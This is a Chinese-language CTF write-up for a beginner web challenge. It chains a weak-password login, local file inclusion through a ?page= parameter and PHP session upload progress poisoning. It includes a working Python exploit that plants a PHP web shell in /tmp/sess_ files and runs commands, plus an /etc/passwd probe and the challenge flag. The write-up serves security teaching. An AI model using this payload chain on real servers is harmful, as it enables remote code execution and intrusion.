# 企业文档管理系统 的解题思路

## 题目信息
| 题目名 | 题目描述 | 类型 | 预计解题时间 | 难度 | 是否提供源码 |
| :----: | :------: | :--: | :----------: | :--: | :--: |
| 企业文档管理系统 | 某企业开发了一套内部文档管理系统，用于员工上传和管理各类文档。系统提供了用户认证、文件上传、文档浏览等功能。作为安全测试人员，你需要评估这个系统的安全性，并尝试获取服务器上的敏感信息。系统已提供测试账号供你使用。 | WEB | 1-2小时 | 入门 | 否 |

## 知识点
1. PHP Session Upload Progress 特性
2. PHP Session 文件结构
3. 本地文件包含（LFI）漏洞
4. Session 文件污染

## 解题步骤

### Step 1: 信息收集

访问题目地址，发现是一个企业文档管理系统的登录页面。尝试使用常见的弱口令登录。

经过尝试，发现可以使用 `user/user123` 登录系统。

登录后发现系统有以下功能：
- 首页：展示系统介绍
- 文档列表：显示已上传的文档
- 上传文档：提供文件上传功能
- 个人资料：显示用户信息

### Step 2: 发现文件上传功能

点击"上传文档"菜单，发现系统提供了文件上传功能。尝试上传一个测试文件，发现上传成功。

观察 URL 参数，发现系统使用 `?page=` 参数来控制页面显示，这可能存在文件包含漏洞。

### Step 3: 测试文件包含漏洞

尝试访问 `index.php?page=/etc/passwd`，发现页面提示"页面不存在"。

但是通过测试发现，如果文件存在，系统会尝试包含该文件。这说明存在本地文件包含漏洞。

### Step 4: 利用 PHP Session Upload Progress

PHP 有一个特性叫做 Session Upload Progress，当启用时，PHP 会在文件上传过程中将上传进度信息写入 Session 文件。

关键配置：
- `session.upload_progress.enabled = On`
- `session.upload_progress.cleanup = Off`（如果为 On，上传完成后会清理）

我们可以通过在上传请求中添加 `PHP_SESSION_UPLOAD_PROGRESS` 参数，将恶意代码写入 Session 文件。

Session 文件默认保存在 `/tmp/sess_{PHPSESSID}` 路径。

### Step 5: 构造 Payload

编写 Python 脚本进行攻击：

```python
import requests

url = "http://target:port"
session_id = "ctfexploit123"

cookies = {"PHPSESSID": session_id}

# 先登录
login_data = {"username": "user", "password": "user123"}
requests.post(f"{url}/login.php", data=login_data, cookies=cookies)

# 上传文件，写入恶意代码到 Session
data = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system($_GET['cmd']); ?>"}
files = {"file": ("test.txt", "A" * 5000)}
requests.post(f"{url}/upload.php", data=data, files=files, cookies=cookies)

# 包含 Session 文件执行命令
r = requests.get(f"{url}/index.php?page=/tmp/sess_{session_id}&cmd=cat /flag", cookies=cookies)
print(r.text)
```

### Step 6: 获取 Flag

执行脚本后，成功包含 Session 文件并执行命令，获取到 Flag。

## Flag
DASCTF{test12345}

